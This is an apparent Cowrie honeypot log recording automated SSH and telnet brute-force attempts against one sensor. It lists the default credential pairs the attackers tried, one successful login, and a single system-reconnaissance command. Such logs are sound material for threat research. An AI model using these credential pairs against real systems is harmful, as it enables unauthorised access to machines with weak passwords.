{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:41.670250Z","src_ip":"192.109.200.237","session":"a4cf48cc5254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:42.075871Z","src_ip":"192.109.200.237","session":"a4cf48cc5254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:43.163904Z","src_ip":"192.109.200.237","session":"a4cf48cc5254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"23f862cb00ab","protocol":"ssh","message":"New connection: 192.109.200.237:36812 (159.203.135.109:22) [session: 23f862cb00ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:44.900758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:44.906718Z","src_ip":"192.109.200.237","session":"23f862cb00ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:44.990494Z","src_ip":"192.109.200.237","session":"23f862cb00ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:45.237426Z","src_ip":"192.109.200.237","session":"23f862cb00ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:46.323772Z","src_ip":"192.109.200.237","session":"23f862cb00ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36820,"dst_ip":"159.203.135.109","dst_port":22,"session":"8432072dc22e","protocol":"ssh","message":"New connection: 192.109.200.237:36820 (159.203.135.109:22) [session: 8432072dc22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:48.091369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:48.097566Z","src_ip":"192.109.200.237","session":"8432072dc22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:48.180013Z","src_ip":"192.109.200.237","session":"8432072dc22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:48.425197Z","src_ip":"192.109.200.237","session":"8432072dc22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:49.513724Z","src_ip":"192.109.200.237","session":"8432072dc22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.213.202.97","src_port":17993,"dst_ip":"159.203.135.109","dst_port":23,"session":"966ca555b365","protocol":"telnet","message":"New connection: 140.213.202.97:17993 (159.203.135.109:23) [session: 966ca555b365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:50.188598Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42806,"dst_ip":"159.203.135.109","dst_port":22,"session":"2102495ead25","protocol":"ssh","message":"New connection: 80.94.92.184:42806 (159.203.135.109:22) [session: 2102495ead25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:50.221229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:50.290816Z","src_ip":"80.94.92.184","session":"2102495ead25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:50.438498Z","src_ip":"80.94.92.184","session":"2102495ead25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:51.050367Z","src_ip":"80.94.92.184","session":"2102495ead25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34640,"dst_ip":"159.203.135.109","dst_port":22,"session":"855bced50c08","protocol":"ssh","message":"New connection: 192.109.200.237:34640 (159.203.135.109:22) [session: 855bced50c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:51.303624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:51.307957Z","src_ip":"192.109.200.237","session":"855bced50c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:51.390046Z","src_ip":"192.109.200.237","session":"855bced50c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:51.798494Z","src_ip":"192.109.200.237","session":"855bced50c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:52.211705Z","src_ip":"80.94.92.184","session":"2102495ead25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:52.883376Z","src_ip":"192.109.200.237","session":"855bced50c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34654,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a46d51fc92","protocol":"ssh","message":"New connection: 192.109.200.237:34654 (159.203.135.109:22) [session: c2a46d51fc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:54.659102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:54.662610Z","src_ip":"192.109.200.237","session":"c2a46d51fc92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:54.743921Z","src_ip":"192.109.200.237","session":"c2a46d51fc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:54.990876Z","src_ip":"192.109.200.237","session":"c2a46d51fc92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:56.075951Z","src_ip":"192.109.200.237","session":"c2a46d51fc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34660,"dst_ip":"159.203.135.109","dst_port":22,"session":"0091f97486ef","protocol":"ssh","message":"New connection: 192.109.200.237:34660 (159.203.135.109:22) [session: 0091f97486ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:57.771875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:57.776381Z","src_ip":"192.109.200.237","session":"0091f97486ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:57.862419Z","src_ip":"192.109.200.237","session":"0091f97486ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:58.108687Z","src_ip":"192.109.200.237","session":"0091f97486ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:59.198080Z","src_ip":"192.109.200.237","session":"0091f97486ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54060,"dst_ip":"159.203.135.109","dst_port":22,"session":"24c0176db609","protocol":"ssh","message":"New connection: 192.109.200.237:54060 (159.203.135.109:22) [session: 24c0176db609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:00.925167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:00.929828Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.011930Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.259739Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":32993,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f8f1132c65","protocol":"telnet","message":"New connection: 186.195.16.41:32993 (159.203.135.109:23) [session: 18f8f1132c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.307169Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.625109Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.628491Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.714006Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:01.719450Z","src_ip":"192.109.200.237","session":"24c0176db609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.195372104644775,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:03.383832Z","src_ip":"140.213.202.97","session":"966ca555b365","protocol":"telnet"}
